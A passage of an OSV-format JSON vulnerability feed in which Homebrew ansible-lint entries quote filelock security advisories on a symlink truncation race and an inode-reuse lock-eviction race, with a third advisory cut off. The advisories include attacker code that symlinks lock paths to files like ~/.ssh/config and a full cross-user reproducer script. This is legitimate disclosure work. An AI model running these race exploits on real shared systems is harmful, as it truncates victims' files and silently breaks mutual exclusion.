lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2025-68146","published":"2026-08-13T16:35:16Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-w853-jp5j-5j7f","CVE-2025-68146","PYSEC-2026-1375"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.0"},{"fixed":"25.12.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.20.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock has a TOCTOU race condition which allows symlink attacks during lock file creation","details":"### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -> None:\n    ensure_directory_exists(self.lock_file)\n    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate\n    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?\n        open_flags |= os.O_CREAT\n    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -> None:\n    raise_on_not_writable_file(self.lock_file)  # (1) Check writability\n    ensure_directory_exists(self.lock_file)\n    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate\n    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file exists? → False\nT1                                             ↓ RACE WINDOW\nT2                                             Create symlink: lock → victim_file\nT3      Open lock_file with O_TRUNC\n        → Follows symlink\n        → Opens victim_file\n        → Truncates victim_file to 0 bytes! ☠️\n```\n\n**Windows variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file writable?\nT1                                             ↓ RACE WINDOW\nT2                                             Create symlink: lock → victim_file\nT3      Open lock_file with O_TRUNC\n        → Follows symlink/junction\n        → Opens victim_file\n        → Truncates victim_file to 0 bytes! ☠️\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\"  # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\"  # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n    # Remove any existing lock file\n    try:\n        os.unlink(lock_path)\n    except FileNotFoundError:\n        pass\n\n    # Create symlink pointing to victim file\n    os.symlink(victim_file, lock_path)\n    print(f\"[Attacker] Created: {lock_path} → {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire()  # ← VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!\n\n    if (flags & O_TRUNC) {\n        truncate_file(f);  // ← Truncates the TARGET of the symlink\n    }\n\n    return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don't Help\n\n**File permissions don't prevent this:**\n\n- Attacker doesn't need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim's* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren't always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn't prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\<100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/3.20.1"},{"type":"WEB","url":"https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"},{"type":"WEB","url":"https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112906","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-2g95-wg33-c5x2","CVE-2026-112906"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.10.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse","details":"`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at `<path>`, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.\n\nTwo of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock.\n- The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.\n- File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).\n- At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`).\n- No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123). The [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) paths hand an unparsable marker to the same code. The re-check in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118) compares the values the contender just read.\n\n## Introduced\n\n0f7c4d3794dc (\"fix(soft): expire leases on the contender's clock\", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.\n\n## Mechanism\n\n`SoftFileLock._acquire` creates the marker with `O_CREAT | O_EXCL` (create the file, fail if it exists) and only then writes the holder record. In between it calls `fstat` and `uname`, stats `/proc/self/ns/pid` and reads `/proc/<pid>/stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.\n\nNeither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.\n\n1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.\n2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.\n3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.\n4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.\n5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.\n6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.\n7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.\n\nStep 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.\n\n`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == \"lease\" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nLOCK_DIR = \"/tmp/locks\"\nLOCK_PATH = \"/tmp/locks/app.lock\"\nHOLDS_LOG = \"/tmp/holds.log\"\n\n\ndef start_victims():\n    # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n    victim = [sys.executable, \"/tmp/repro.d/victim.py\", LOCK_PATH]\n    with open(HOLDS_LOG, \"w\") as holds_log:\n        return [\n            subprocess.Popen(victim, stdout=holds_log, user=\"victim\", group=\"victim\", extra_groups=[])\n            for _ in range(10)\n        ]\n\n\ndef holds_entered_after(moment):\n    holds = []\n    for line in open(HOLDS_LOG):\n        fields = dict(field.split(\"=\") for field in line.split())\n        hold = {\"entered\": float(fields[\"entered\"]), \"exited\": float(fields[\"exited\"]), \"line\": line.strip()}\n        if hold[\"entered\"] > moment:\n            holds.append(hold)\n    return sorted(holds, key=lambda hold: hold[\"entered\"])\n\n\ndef attack_until_overlap(phase, date_offset_s, max_attempts):\n    victims = start_victims()\n    attacker = [sys.executable, \"/tmp/repro.d/attacker.py\", LOCK_PATH, str(date_offset_s)]\n    for attempt in range(1, max_attempts + 1):\n        run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,\n                             user=\"attacker\", group=\"attacker\", extra_groups=[])\n        print(f\"{phase} attempt {attempt}: {run.stdout.strip()}\", flush=True)\n        unlinked_at = float(run.stdout.split(\"unlinked_at=\")[1])\n        time.sleep(0.4)  # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now\n\n        # A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the\n        # report), so those are left out. time.monotonic() is one clock for every process on the machine.\n        holds = holds_entered_after(unlinked_at + 0.001)\n        overlaps = [(first, second) for first, second in zip(holds, holds[1:])\n                    if second[\"entered\"] < first[\"exited\"]]\n        if overlaps:\n            break\n    for victim in victims:\n        victim.kill()\n        victim.wait()\n    return overlaps\n\n\n# control: the attacker's file is dated an hour after the tick in which it is unlinked\ncontrol = attack_until_overlap(\"CONTROL\", date_offset_s=3600, max_attempts=20)\n# attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets\nobserved = attack_until_overlap(\"OBSERVED\", date_offset_s=0, max_attempts=250)\n\n# check: no two victims may ever be inside the lock at once\nfor phase, overlaps in [(\"CONTROL\", control), (\"OBSERVED\", observed)]:\n    print(f\"{phase}: {len(overlaps)} time(s) two victims inside the lock at once\")\n    for first, second in overlaps:\n        print(f\"{phase}:   {first['line']}\")\n        print(f\"{phase}:   {second['line']}\")\nprint(\"BUG\" if observed and not control else \"OK\")\n```\n\n**`repro.d/attacker.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport random\nimport sys\nimport time\n\nlock_path, date_offset_s = sys.argv[1], int(sys.argv[2])\n\nCLOCK_REALTIME_COARSE = 5  # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick\ntick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)\n\n# take the lock path the moment it is free, like any contender\nwhile True:\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n        break\n    except FileExistsError:\n        time.sleep(0.002)\n\n# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random\n# part makes some attempts free the path just before one of their polls.\npark_s = random.uniform(2.2, 2.25)\nrelease_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns\nmtime_ns = release_tick + date_offset_s * 10**9\nos.utime(fd, ns=(mtime_ns, mtime_ns))\ninode = os.fstat(fd).st_ino\nos.close(fd)\n\ntime.sleep(park_s - 0.05)\nwhile time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:\n    pass\nos.unlink(lock_path)  # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode\nunlinked_at = time.monotonic()\ntime.sleep(0.1)  # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer\nprint(f\"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}\")\n```\n\n**`repro.d/victim.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(0.3)  # work on whatever the lock protects\n        print(f\"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}\", flush=True)\n    time.sleep(0.05)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user\n    participant P as lock path (sticky dir, ext4, 4 ms clock ticks)\n    participant S as process S of the lock user (waiting)\n    participant F as process F of the lock user\n    X->>P: create empty file, inode I, utime to future tick T\n    S->>P: poll: empty file, key (T, I), watch starts\n    Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting\n    rect rgb(255, 214, 214)\n        X->>P: at tick T: unlink own file, I is free\n        F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written\n        S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker\n        F->>P: writes record into the unlinked inode, acquire() returns\n        Note over S,F: the path is empty, the next contender creates a marker: two holders, no error\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs ten copies of a default-option `SoftFileLock` program (0.3 s of work per hold, 50 ms between holds) as user `victim` in a root-owned `1777` directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user `attacker` waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when `CLOCK_REALTIME_COARSE` reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.\n\nIn four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two `victim` processes overlapping in time with `is_locked=True`, for example `pid=217 entered=241.295272609 exited=241.59542327` and `pid=216 entered=241.295518489 exited=241.595641553`. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, `--cpus 2`). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that `utime` cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.\n\n## Impact\n\nA local user who can create a file in a soft lock's directory, a sticky directory such as `/tmp` included, gets two processes of another user to hold the same `SoftFileLock` at once (`MarkerSoftFileLock` too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. For `SoftFileLease` the effect is a live, refreshed claim taken after milliseconds instead of after `lease_duration` without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. Raise `poll_interval` so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-RKC48J5B`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:42 UTC: fix PR #843 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112906"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112908","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-6627-m3xw-93mp","CVE-2026-112908"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.6.0_2"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold","details":"`StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at `<path>`) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `<path>.filelock` and `<path>.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.\n\nA hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own.\n\n`C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): 